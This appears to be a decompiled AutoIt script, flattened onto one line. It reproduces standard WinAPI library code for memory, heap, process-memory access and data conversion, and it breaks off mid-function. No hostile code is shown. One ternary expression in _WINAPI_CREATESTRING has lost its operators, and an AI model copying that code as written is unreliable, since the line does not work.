$OFN_EXTENSIONDIFFERENT = 1024 GLOBAL CONST $OFN_FILEMUSTEXIST = 4096 GLOBAL CONST $OFN_FORCESHOWHIDDEN = 268435456 GLOBAL CONST $OFN_HIDEREADONLY = 4 GLOBAL CONST $OFN_LONGNAMES = 2097152 GLOBAL CONST $OFN_NOCHANGEDIR = 8 GLOBAL CONST $OFN_NODEREFERENCELINKS = 1048576 GLOBAL CONST $OFN_NOLONGNAMES = 262144 GLOBAL CONST $OFN_NONETWORKBUTTON = 131072 GLOBAL CONST $OFN_NOREADONLYRETURN = 32768 GLOBAL CONST $OFN_NOTESTFILECREATE = 65536 GLOBAL CONST $OFN_NOVALIDATE = 256 GLOBAL CONST $OFN_OVERWRITEPROMPT = 2 GLOBAL CONST $OFN_PATHMUSTEXIST = 2048 GLOBAL CONST $OFN_READONLY = 1 GLOBAL CONST $OFN_SHAREAWARE = 16384 GLOBAL CONST $OFN_SHOWHELP = 16 GLOBAL CONST $OFN_EX_NOPLACESBAR = 1 GLOBAL CONST $STD_CUT = 0 GLOBAL CONST $STD_COPY = 1 GLOBAL CONST $STD_PASTE = 2 GLOBAL CONST $STD_UNDO = 3 GLOBAL CONST $STD_REDOW = 4 GLOBAL CONST $STD_DELETE = 5 GLOBAL CONST $STD_FILENEW = 6 GLOBAL CONST $STD_FILEOPEN = 7 GLOBAL CONST $STD_FILESAVE = 8 GLOBAL CONST $STD_PRINTPRE = 9 GLOBAL CONST $STD_PROPERTIES = 10 GLOBAL CONST $STD_HELP = 11 GLOBAL CONST $STD_FIND = 12 GLOBAL CONST $STD_REPLACE = 13 GLOBAL CONST $STD_PRINT = 14 GLOBAL CONST $KB_SENDSPECIAL = 0 GLOBAL CONST $KB_SENDRAW = 1 GLOBAL CONST $KB_CAPSOFF = 0 GLOBAL CONST $KB_CAPSON = 1 GLOBAL CONST $S_OK = 0 GLOBAL CONST $E_ABORT = 2147500036 GLOBAL CONST $E_ACCESSDENIED = 2147942405 GLOBAL CONST $E_FAIL = 2147500037 GLOBAL CONST $E_HANDLE = 2147942406 GLOBAL CONST $E_INVALIDARG = 2147942487 GLOBAL CONST $E_NOINTERFACE = 2147500034 GLOBAL CONST $E_NOTIMPL = 2147500033 GLOBAL CONST $E_OUTOFMEMORY = 2147942414 GLOBAL CONST $E_POINTER = 2147500035 GLOBAL CONST $E_UNEXPECTED = 2147549183 #Region Global Variables and Constants GLOBAL $__G_HHEAP = 0 #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_CREATEBUFFER ($ILENGTH , $PBUFFER = 0 , $BABORT = TRUE ) $PBUFFER = __HEAPREALLOC ($PBUFFER , $ILENGTH , 0 , $BABORT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $PBUFFER ENDFUNC FUNC _WINAPI_CREATEBUFFERFROMSTRUCT ($TSTRUCT , $PBUFFER = 0 , $BABORT = TRUE ) IF NOT ISDLLSTRUCT ($TSTRUCT ) THEN RETURN SETERROR (1 , 0 , 0 ) $PBUFFER = __HEAPREALLOC ($PBUFFER , DLLSTRUCTGETSIZE ($TSTRUCT ) , 0 , $BABORT ) IF @ERROR THEN RETURN SETERROR (@ERROR + 100 , @EXTENDED , 0 ) _WINAPI_MOVEMEMORY ($PBUFFER , $TSTRUCT , DLLSTRUCTGETSIZE ($TSTRUCT ) ) RETURN $PBUFFER ENDFUNC FUNC _WINAPI_CREATESTRING ($SSTRING , $PSTRING = 0 , $ILENGTH = + 4294967295 , $BUNICODE = TRUE , $BABORT = TRUE ) $ILENGTH = NUMBER ($ILENGTH ) IF $ILENGTH >= 0 THEN $SSTRING = STRINGLEFT ($SSTRING , $ILENGTH ) ELSE $ILENGTH = STRINGLEN ($SSTRING ) ENDIF LOCAL $ISIZE = $ILENGTH + 1 IF $BUNICODE THEN $ISIZE *= 2 ENDIF $PSTRING = __HEAPREALLOC ($PSTRING , $ISIZE , 0 , $BABORT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) DLLSTRUCTSETDATA (DLLSTRUCTCREATE (($BUNICODE "wchar" "char" ) & "[" & ($ILENGTH + 1 ) & "]" , $PSTRING ) , 1 , $SSTRING ) RETURN SETEXTENDED ($ILENGTH , $PSTRING ) ENDFUNC FUNC _WINAPI_EQUALMEMORY ($PSOURCE1 , $PSOURCE2 , $ILENGTH ) IF _WINAPI_ISBADREADPTR ($PSOURCE1 , $ILENGTH ) THEN RETURN SETERROR (11 , @EXTENDED , 0 ) IF _WINAPI_ISBADREADPTR ($PSOURCE2 , $ILENGTH ) THEN RETURN SETERROR (12 , @EXTENDED , 0 ) LOCAL $ARET = DLLCALL ("ntdll.dll" , "ulong_ptr" , "RtlCompareMemory" , "struct*" , $PSOURCE1 , "struct*" , $PSOURCE2 , "ulong_ptr" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN NUMBER ($ARET [0 ] = $ILENGTH ) ENDFUNC FUNC _WINAPI_FILLMEMORY ($PMEMORY , $ILENGTH , $IVALUE = 0 ) IF _WINAPI_ISBADWRITEPTR ($PMEMORY , $ILENGTH ) THEN RETURN SETERROR (11 , @EXTENDED , 0 ) DLLCALL ("ntdll.dll" , "none" , "RtlFillMemory" , "struct*" , $PMEMORY , "ulong_ptr" , $ILENGTH , "byte" , $IVALUE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_FREEMEMORY ($PMEMORY ) IF NOT __HEAPFREE ($PMEMORY , 1 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_GETMEMORYSIZE ($PMEMORY ) LOCAL $IRESULT = __HEAPSIZE ($PMEMORY , 1 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $IRESULT ENDFUNC FUNC _WINAPI_GLOBALMEMORYSTATUS () LOCAL CONST $TAGMEMORYSTATUSEX = "dword Length;dword MemoryLoad;" & "uint64 TotalPhys;uint64 AvailPhys;uint64 TotalPageFile;uint64 AvailPageFile;" & "uint64 TotalVirtual;uint64 AvailVirtual;uint64 AvailExtendedVirtual" LOCAL $TMEM = DLLSTRUCTCREATE ($TAGMEMORYSTATUSEX ) DLLSTRUCTSETDATA ($TMEM , 1 , DLLSTRUCTGETSIZE ($TMEM ) ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GlobalMemoryStatusEx" , "struct*" , $TMEM ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $AMEM [7 ] $AMEM [0 ] = DLLSTRUCTGETDATA ($TMEM , 2 ) $AMEM [1 ] = DLLSTRUCTGETDATA ($TMEM , 3 ) $AMEM [2 ] = DLLSTRUCTGETDATA ($TMEM , 4 ) $AMEM [3 ] = DLLSTRUCTGETDATA ($TMEM , 5 ) $AMEM [4 ] = DLLSTRUCTGETDATA ($TMEM , 6 ) $AMEM [5 ] = DLLSTRUCTGETDATA ($TMEM , 7 ) $AMEM [6 ] = DLLSTRUCTGETDATA ($TMEM , 8 ) RETURN $AMEM ENDFUNC FUNC _WINAPI_ISBADCODEPTR ($PADDRESS ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsBadCodePtr" , "struct*" , $PADDRESS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISBADREADPTR ($PADDRESS , $ILENGTH ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsBadReadPtr" , "struct*" , $PADDRESS , "uint_ptr" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISBADSTRINGPTR ($PADDRESS , $ILENGTH ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsBadStringPtr" , "struct*" , $PADDRESS , "uint_ptr" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISBADWRITEPTR ($PADDRESS , $ILENGTH ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsBadWritePtr" , "struct*" , $PADDRESS , "uint_ptr" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISMEMORY ($PMEMORY ) LOCAL $BRESULT = __HEAPVALIDATE ($PMEMORY ) RETURN SETERROR (@ERROR , @EXTENDED , $BRESULT ) ENDFUNC FUNC _WINAPI_LOCALFREE ($HMEMORY ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $HMEMORY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_MOVEMEMORY ($PDESTINATION , $PSOURCE , $ILENGTH ) IF _WINAPI_ISBADREADPTR ($PSOURCE , $ILENGTH ) THEN RETURN SETERROR (10 , @EXTENDED , 0 ) IF _WINAPI_ISBADWRITEPTR ($PDESTINATION , $ILENGTH ) THEN RETURN SETERROR (11 , @EXTENDED , 0 ) DLLCALL ("ntdll.dll" , "none" , "RtlMoveMemory" , "struct*" , $PDESTINATION , "struct*" , $PSOURCE , "ulong_ptr" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_READPROCESSMEMORY ($HPROCESS , $PBASEADDRESS , $PBUFFER , $ISIZE , BYREF $IREAD ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "ReadProcessMemory" , "handle" , $HPROCESS , "ptr" , $PBASEADDRESS , "struct*" , $PBUFFER , "ulong_ptr" , $ISIZE , "ulong_ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) $IREAD = $ARESULT [5 ] RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_WRITEPROCESSMEMORY ($HPROCESS , $PBASEADDRESS , $PBUFFER , $ISIZE , BYREF $IWRITTEN , $SBUFFER = "ptr" ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "WriteProcessMemory" , "handle" , $HPROCESS , "ptr" , $PBASEADDRESS , $SBUFFER , $PBUFFER , "ulong_ptr" , $ISIZE , "ulong_ptr*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) $IWRITTEN = $ARESULT [5 ] RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_ZEROMEMORY ($PMEMORY , $ILENGTH ) IF _WINAPI_ISBADWRITEPTR ($PMEMORY , $ILENGTH ) THEN RETURN SETERROR (11 , @EXTENDED , 0 ) DLLCALL ("ntdll.dll" , "none" , "RtlZeroMemory" , "struct*" , $PMEMORY , "ulong_ptr" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC #EndRegion Public Functions #Region Internal Functions FUNC __HEAPALLOC ($ISIZE , $BABORT = FALSE ) LOCAL $ARET IF NOT $__G_HHEAP THEN $ARET = DLLCALL ("kernel32.dll" , "handle" , "HeapCreate" , "dword" , 0 , "ulong_ptr" , 0 , "ulong_ptr" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN __FATALEXIT (1 , "Error allocating memory." ) $__G_HHEAP = $ARET [0 ] ENDIF $ARET = DLLCALL ("kernel32.dll" , "ptr" , "HeapAlloc" , "handle" , $__G_HHEAP , "dword" , 8 , "ulong_ptr" , $ISIZE ) IF @ERROR OR NOT $ARET [0 ] THEN IF $BABORT THEN __FATALEXIT (1 , "Error allocating memory." ) RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 ) ENDIF RETURN $ARET [0 ] ENDFUNC FUNC __HEAPFREE (BYREF $PMEMORY , $BCHECK = FALSE , $ICURERR = @ERROR , $ICUREXT = @EXTENDED ) IF $BCHECK AND (NOT __HEAPVALIDATE ($PMEMORY ) ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "HeapFree" , "handle" , $__G_HHEAP , "dword" , 0 , "ptr" , $PMEMORY ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 40 , @EXTENDED , 0 ) $PMEMORY = 0 RETURN SETERROR ($ICURERR , $ICUREXT , 1 ) ENDFUNC FUNC __HEAPREALLOC ($PMEMORY , $ISIZE , $BAMOUNT = FALSE , $BABORT = FALSE ) LOCAL $ARET , $PRET IF __HEAPVALIDATE ($PMEMORY ) THEN IF $BAMOUNT AND (__HEAPSIZE ($PMEMORY ) >= $ISIZE ) THEN RETURN SETEXTENDED (1 , PTR ($PMEMORY ) ) $ARET = DLLCALL ("kernel32.dll" , "ptr" , "HeapReAlloc" , "handle" , $__G_HHEAP , "dword" , 8 , "ptr" , $PMEMORY , "ulong_ptr" , $ISIZE ) IF @ERROR OR NOT $ARET [0 ] THEN IF $BABORT THEN __FATALEXIT (1 , "Error allocating memory." ) RETURN SETERROR (@ERROR + 20 , @EXTENDED , PTR ($PMEMORY ) ) ENDIF $PRET = $ARET [0 ] ELSE $PRET = __HEAPALLOC ($ISIZE , $BABORT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) ENDIF RETURN $PRET ENDFUNC FUNC __HEAPSIZE ($PMEMORY , $BCHECK = FALSE ) IF $BCHECK AND (NOT __HEAPVALIDATE ($PMEMORY ) ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "ulong_ptr" , "HeapSize" , "handle" , $__G_HHEAP , "dword" , 0 , "ptr" , $PMEMORY ) IF @ERROR OR ($ARET [0 ] = PTR (+ 4294967295 ) ) THEN RETURN SETERROR (@ERROR + 50 , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC __HEAPVALIDATE ($PMEMORY ) IF (NOT $__G_HHEAP ) OR (NOT PTR ($PMEMORY ) ) THEN RETURN SETERROR (9 , 0 , FALSE ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "int" , "HeapValidate" , "handle" , $__G_HHEAP , "dword" , 0 , "ptr" , $PMEMORY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC #EndRegion Internal Functions GLOBAL CONST $SND_APPLICATION = 128 GLOBAL CONST $SND_ALIAS = 65536 GLOBAL CONST $SND_ALIAS_ID = 1114112 GLOBAL CONST $SND_ASYNC = 1 GLOBAL CONST $SND_FILENAME = 131072 GLOBAL CONST $SND_LOOP = 8 GLOBAL CONST $SND_MEMORY = 4 GLOBAL CONST $SND_NODEFAULT = 2 GLOBAL CONST $SND_NOSTOP = 16 GLOBAL CONST $SND_NOWAIT = 8192 GLOBAL CONST $SND_PURGE = 64 GLOBAL CONST $SND_RESOURCE = 262148 GLOBAL CONST $SND_SENTRY = 524288 GLOBAL CONST $SND_SYNC = 0 GLOBAL CONST $SND_SYSTEM = 2097152 GLOBAL CONST $SND_SYSTEM_NOSTOP = 2097168 GLOBAL CONST $SND_ALIAS_SYSTEMASTERISK = "SystemAsterisk" GLOBAL CONST $SND_ALIAS_SYSTEMDEFAULT = "SystemDefault" GLOBAL CONST $SND_ALIAS_SYSTEMEXCLAMATION = "SystemExclamation" GLOBAL CONST $SND_ALIAS_SYSTEMEXIT = "SystemExit" GLOBAL CONST $SND_ALIAS_SYSTEMHAND = "SystemHand" GLOBAL CONST $SND_ALIAS_SYSTEMQUESTION = "SystemQuestion" GLOBAL CONST $SND_ALIAS_SYSTEMSTART = "SystemStart" GLOBAL CONST $SND_ALIAS_SYSTEMWELCOME = "SystemWelcome" #Region Global Variables and Constants #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_CHARTOOEM ($SSTR ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "CharToOemW" , "wstr" , $SSTR , "wstr" , "" ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_CLIENTTOSCREEN ($HWND , BYREF $TPOINT ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ClientToScreen" , "hwnd" , $HWND , "struct*" , $TPOINT ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TPOINT ENDFUNC FUNC _WINAPI_DWORDTOFLOAT ($IVALUE ) LOCAL $TDWORD = DLLSTRUCTCREATE ("dword" ) LOCAL $TFLOAT = DLLSTRUCTCREATE ("float" , DLLSTRUCTGETPTR ($TDWORD ) ) DLLSTRUCTSETDATA ($TDWORD , 1 , $IVALUE ) RETURN DLLSTRUCTGETDATA ($TFLOAT , 1 ) ENDFUNC FUNC _WINAPI_DWORDTOINT ($IVALUE ) LOCAL $TDATA = DLLSTRUCTCREATE ("int" ) DLLSTRUCTSETDATA ($TDATA , 1 , $IVALUE ) RETURN DLLSTRUCTGETDATA ($TDATA , 1 ) ENDFUNC FUNC _WINAPI_FLOATTODWORD ($IVALUE ) LOCAL $TFLOAT = DLLSTRUCTCREATE ("float" ) LOCAL $TDWORD = DLLSTRUCTCREATE ("dword" , DLLSTRUCTGETPTR ($TFLOAT ) ) DLLSTRUCTSETDATA ($TFLOAT , 1 , $IVALUE ) RETURN DLLSTRUCTGETDATA ($TDWORD , 1 ) ENDFUNC FUNC _WINAPI_FLOATTOINT ($NFLOAT ) LOCAL $TFLOAT = DLLSTRUCTCREATE ("float" ) LOCAL $TINT = DLLSTRUCTCREATE ("int" , DLLSTRUCTGETPTR ($TFLOAT ) ) DLLSTRUCTSETDATA ($TFLOAT , 1 , $NFLOAT ) RETURN DLLSTRUCTGETDATA ($TINT , 1 ) ENDFUNC FUNC _WINAPI_GETXYFROMPOINT (BYREF $TPOINT , BYREF $IX , BYREF $IY ) $IX = DLLSTRUCTGETDATA ($TPOINT , "X" ) $IY = DLLSTRUCTGETDATA ($TPOINT , "Y" ) ENDFUNC FUNC _WINAPI_GUIDFROMSTRING ($SGUID ) LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID ) _WINAPI_GUIDFROMSTRINGEX ($SGUID , $TGUID ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TGUID ENDFUNC FUNC _WINAPI_GUIDFROMSTRINGEX ($SGUID , $TGUID ) LOCAL $ARESULT = DLLCALL ("ole32.dll" , "long" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_HASHDATA ($PMEMORY , $ISIZE , $ILENGTH = 32 ) IF ($ILENGTH <= 0 ) OR ($ILENGTH > 256 ) THEN RETURN SETERROR (11 , 0 , 0 ) LOCAL $TDATA = DLLSTRUCTCREATE ("byte[" & $ILENGTH & "]" ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "uint" , "HashData" , "struct*" , $PMEMORY , "dword" , $ISIZE , "struct*" , $TDATA , "dword" , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN DLLSTRUCTGETDATA ($TDATA , 1 ) ENDFUNC FUNC _WINAPI_HASHSTRING ($SSTRING , $BCASESENSITIVE = TRUE , $ILENGTH = 32 ) LOCAL $ILENGTHS = STRINGLEN ($SSTRING ) IF NOT $ILENGTHS OR ($ILENGTH > 256 ) THEN RETURN SETERROR (12 , 0 , 0 ) LOCAL $TSTRING = DLLSTRUCTCREATE ("wchar[" & ($ILENGTHS + 1 ) & "]" ) IF NOT $BCASESENSITIVE THEN $SSTRING = STRINGLOWER ($SSTRING ) ENDIF DLLSTRUCTSETDATA ($TSTRING , 1 , $SSTRING ) LOCAL $SHASH = _WINAPI_HASHDATA ($TSTRING , 2 * $ILENGTHS , $ILENGTH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $SHASH ENDFUNC FUNC _WINAPI_HIBYTE ($IVALUE ) RETURN BITAND (BITSHIFT ($IVALUE , 8 ) , 255 ) ENDFUNC FUNC _WINAPI_HIDWORD ($IVALUE ) LOCAL $TINT64 = DLLSTRUCTCREATE ("int64" ) LOCAL $TQWORD = DLLSTRUCTCREATE ("dword;dword" , DLLSTRUCTGETPTR ($TINT64 ) ) DLLSTRUCTSETDATA ($TINT64 , 1 , $IVALUE ) RETURN DLLSTRUCTGETDATA ($TQWORD , 2 ) ENDFUNC FUNC _WINAPI_HIWORD ($ILONG ) RETURN BITSHIFT ($ILONG , 16 ) ENDFUNC FUNC _WINAPI_INTTODWORD ($IVALUE ) LOCAL $TDATA = DLLSTRUCTCREATE ("dword" ) DLLSTRUCTSETDATA ($TDATA , 1 , $IVALUE ) RETURN DLLSTRUCTGETDATA ($TDATA , 1 ) ENDFUNC FUNC _WINAPI_INTTOFLOAT ($IINT ) LOCAL $TINT = DLLSTRUCTCREATE ("int" ) LOCAL $TFLOAT = DLLSTRUCTCREATE ("float" , DLLSTRUCTGETPTR ($TINT ) ) DLLSTRUCTSETDATA ($TINT , 1 , $IINT ) RETURN DLLSTRUCTGETDATA ($TFLOAT , 1 ) ENDFUNC FUNC _WINAPI_LOBYTE ($IVALUE ) RETURN BITAND ($IVALUE , 255 ) ENDFUNC FUNC _WINAPI_LODWORD ($IVALUE ) LOCAL $TINT64 = DLLSTRUCTCREATE ("int64" ) LOCAL $TQWORD = DLLSTRUCTCREATE ("dword;dword" , DLLSTRUCTGETPTR ($TINT64 ) ) DLLSTRUCTSETDATA ($TINT64 , 1 , $IVALUE ) RETURN DLLSTRUCTGETDATA ($TQWORD , 1 ) ENDFUNC FUNC _WINAPI_LOWORD ($ILONG ) RETURN BITAND ($ILONG , 65535 ) ENDFUNC FUNC _WINAPI_LONGMID ($IVALUE , $ISTART , $ICOUNT ) RETURN BITAND (BITSHIFT ($IVALUE , $ISTART ) , BITOR (BITSHIFT (BITSHIFT (2147483647 , 32 - ($ICOUNT + 1 ) ) , 1 ) , BITSHIFT (1 , - ($ICOUNT + 4294967295 ) ) ) ) ENDFUNC FUNC _WINAPI_MAKELANGID ($ILNGIDPRIMARY , $ILNGIDSUB ) RETURN BITOR (BITSHIFT ($ILNGIDSUB , + 4294967286 ) , $ILNGIDPRIMARY ) ENDFUNC FUNC _WINAPI_MAKELCID ($ILNGID , $ISORTID ) RETURN BITOR (BITSHIFT ($ISORTID , + 4294967280 ) , $ILNGID ) ENDFUNC FUNC _WINAPI_MAKELONG ($ILO , $IHI ) RETURN BITOR (BITSHIFT ($IHI , + 4294967280 ) , BITAND ($ILO , 65535 ) ) ENDFUNC FUNC _WINAPI_MAKEQWORD ($ILODWORD , $IHIDWORD ) LOCAL $TINT64 = DLLSTRUCTCREATE ("uint64" ) LOCAL $TDWORDS = DLLSTRUCTCREATE ("dword;dword" , DLLSTRUCTGETPTR ($TINT64 ) ) DLLSTRUCTSETDATA ($TDWORDS , 1 , $ILODWORD ) DLLSTRUCTSETDATA ($TDWORDS , 2 , $IHIDWORD ) RETURN DLLSTRUCTGETDATA ($TINT64 , 1 ) ENDFUNC FUNC _WINAPI_MAKEWORD ($ILO , $IHI ) LOCAL $TWORD = DLLSTRUCTCREATE ("ushort" ) LOCAL $TBYTE = DLLSTRUCTCREATE ("byte;byte" , DLLSTRUCTGETPTR ($TWORD ) ) DLLSTRUCTSETDATA ($TBYTE , 1 , $IHI ) DLLSTRUCTSETDATA ($TBYTE , 2 , $ILO ) RETURN DLLSTRUCTGETDATA ($TWORD , 1 ) ENDFUNC FUNC _WINAPI_MULTIBYTETOWIDECHAR ($VTEXT , $ICODEPAGE = 0 , $IFLAGS = 0 , $BRETSTRING = FALSE ) LOCAL $STEXTTYPE = "str" IF NOT ISSTRING ($VTEXT ) THEN $STEXTTYPE = "struct*" LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "MultiByteToWideChar" , "uint" , $ICODEPAGE , "dword" , $IFLAGS , $STEXTTYPE , $VTEXT , "int" , + 4294967295 , "ptr" , 0 , "int" , 0 ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $IOUT = $ARESULT [0 ] LOCAL $TOUT = DLLSTRUCTCREATE ("wchar[" & $IOUT & "]" ) $ARESULT = DLLCALL ("kernel32.dll" , "int" , "MultiByteToWideChar" , "uint" , $ICODEPAGE , "dword" , $IFLAGS , $STEXTTYPE , $VTEXT , "int" , + 4294967295 , "struct*" , $TOUT , "int" , $IOUT ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) IF $BRETSTRING THEN RETURN DLLSTRUCTGETDATA ($TOUT , 1 ) RETURN $TOUT ENDFUNC FUNC _WINAPI_MULTIBYTETOWIDECHAREX ($STEXT , $PTEXT , $ICODEPAGE = 0 , $IFLAGS = 0 ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "int" , "MultiByteToWideChar" , "uint" , $ICODEPAGE , "dword" , $IFLAGS , "STR" , $STEXT , "int" , + 4294967295 , "struct*" , $PTEXT , "int" , (STRINGLEN ($STEXT ) + 1 ) * 2 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_OEMTOCHAR ($SSTR ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "OemToChar" , "str" , $SSTR , "str" , "" ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_POINTFROMRECT (BYREF $TRECT , $BCENTER = TRUE ) LOCAL $IX1 = DLLSTRUCTGETDATA ($TRECT , "Left" ) LOCAL $IY1 = DLLSTRUCTGETDATA ($TRECT , "Top" ) LOCAL $IX2 = DLLSTRUCTGETDATA ($TRECT , "Right" ) LOCAL $IY2 = DLLSTRUCTGETDATA ($TRECT , "Bottom" ) IF $BCENTER THEN $IX1 = $IX1 + (($IX2 - $IX1 ) / 2 ) $IY1 = $IY1 + (($IY2 - $IY1 ) / 2 ) ENDIF LOCAL $TPOINT = DLLSTRUCTCREATE ($TAGPOINT ) DLLSTRUCTSETDATA ($TPOINT , "X" , $IX1 ) DLLSTRUCTSETDATA ($TPOINT , "Y" , $IY1 ) RETURN $TPOINT ENDFUNC FUNC _WINAPI_PRIMARYLANGID ($ILNGID ) RETURN BITAND ($ILNGID , 1023 ) ENDFUNC FUNC _WINAPI_SCREENTOCLIENT ($HWND , BYREF $TPOINT ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "ScreenToClient" , "hwnd" , $HWND , "struct*" , $TPOINT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SHORTTOWORD ($IVALUE ) RETURN BITAND ($IVALUE , 65535 ) ENDFUNC FUNC _WINAPI_STRFORMATBYTESIZE ($ISIZE ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "StrFormatByteSizeW" , "int64" , $ISIZE , "wstr" , "" , "uint" , 1024 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_STRFORMATBYTESIZEEX ($ISIZE ) LOCAL $ASYMBOL = DLLCALL ("kernel32.dll" , "int" , "GetLocaleInfoW" , "dword" , 1024 , "dword" , 15 , "wstr" , "" , "int" , 2048 ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) LOCAL $SSIZE = _WINAPI_STRFORMATBYTESIZE (0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN STRINGREPLACE ($SSIZE , "0" , STRINGREGEXPREPLACE (NUMBER ($ISIZE ) , "(?<=\d)(?=(\d{3})+\z)" , $ASYMBOL [3 ] ) ) ENDFUNC FUNC _WINAPI_STRFORMATKBSIZE ($ISIZE ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "ptr" , "StrFormatKBSizeW" , "int64" , $ISIZE , "wstr" , "" , "uint" , 1024 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_STRFROMTIMEINTERVAL ($ITIME , $IDIGITS = 7 ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "StrFromTimeIntervalW" , "wstr" , "" , "uint" , 1024 , "dword" , $ITIME , "int" , $IDIGITS ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN STRINGSTRIPWS ($ARET [1 ] , $STR_STRIPLEADING + $STR_STRIPTRAILING ) ENDFUNC FUNC _WINAPI_STRINGFROMGUID ($TGUID ) LOCAL $ARESULT = DLLCALL ("ole32.dll" , "int" , "StringFromGUID2" , 